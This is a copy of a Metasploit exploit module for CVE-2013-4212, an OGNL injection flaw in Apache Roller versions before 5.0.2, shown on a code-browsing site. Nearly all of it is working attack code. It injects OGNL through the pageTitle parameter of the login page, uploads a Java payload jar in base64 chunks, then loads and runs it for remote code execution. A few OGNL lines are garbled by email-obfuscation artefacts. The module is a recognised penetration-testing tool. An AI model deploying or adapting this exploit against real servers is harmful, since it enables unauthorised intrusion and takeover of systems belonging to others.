Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_roller_ognl_injection.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Apache Roller OGNL Injection',
17
'Description' => %q{
18
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
19
vulnerability is due to an OGNL injection on the UIAction controller because of an
20
insecure usage of the ActionSupport.getText method. This module has been tested
21
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
22
},
23
'Author' => [
24
'Unknown', # From coverity.com / Vulnerability discovery
25
'juan vazquez' # Metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2013-4212'],
30
[ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']
31
],
32
'Platform' => 'java',
33
'Arch' => ARCH_JAVA,
34
'Privileged' => true,
35
'Targets' => [
36
[ 'Apache Roller 5.0.1', {} ]
37
],
38
'DisclosureDate' => '2013-10-31',
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Reliability' => UNKNOWN_RELIABILITY,
42
'Stability' => UNKNOWN_STABILITY,
43
'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
}
45
)
46
)
47
48
register_options(
49
[
50
Opt::RPORT(8080),
51
OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])
52
]
53
)
54
end
55
56
def execute_command(cmd)
57
injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"
58
injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
59
60
vprint_status("Attempting to execute: #{cmd}")
61
62
res = send_request_cgi({
63
'method' => 'GET',
64
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
65
'encode_params' => false,
66
'vars_get' =>
67
{
68
'pageTitle' => injection
69
}
70
})
71
end
72
73
def java_upload_part(part, filename, append = 'false')
74
cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"
75
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
76
cmd << "#f.close(),#a='#{@random_suffix}'"
77
execute_command(cmd)
78
end
79
80
def exploit
81
print_status("Checking injection...")
82
83
if check == Exploit::CheckCode::Vulnerable
84
print_good("Target looks vulnerable, exploiting...")
85
else
86
print_warning("Target not found as vulnerable, trying anyway...")
87
end
88
89
@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution
90
@payload_exe = rand_text_alphanumeric(4 + rand(4)) + ".jar"
91
append = 'false'
92
jar = payload.encoded_jar.pack
93
94
chunk_length = 384 # 512 bytes when base64 encoded
95
96
parts = jar.chars.each_slice(chunk_length).map(&:join)
97
parts.each do |part|
98
java_upload_part(part, @payload_exe, append)
99
append = 'true'
100
end
101
102
register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")
103
104
cmd = ""
105
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
106
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
107
cmd << "#q.setAccessible(true),#q.set(null,true),"
108
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
109
cmd << "#q.setAccessible(true),#q.set(null,false),"
110
# create classloader
111
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"
112
# load class
113
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
114
# invoke main method
115
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
116
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
117
execute_command(cmd)
118
end
119
120
def check
121
addend_one = rand_text_numeric(rand(3) + 1).to_i
122
addend_two = rand_text_numeric(rand(3) + 1).to_i
123
sum = addend_one + addend_two
124
125
res = send_request_cgi({
126
'method' => 'GET',
127
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
128
'vars_get' =>
129
{
130
'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",
131
}
132
})
133
134
if res and res.code == 200 and res.body =~ /#{sum}/
135
return Exploit::CheckCode::Vulnerable
136
end
137
138
return Exploit::CheckCode::Safe
139
end
140
end
141
142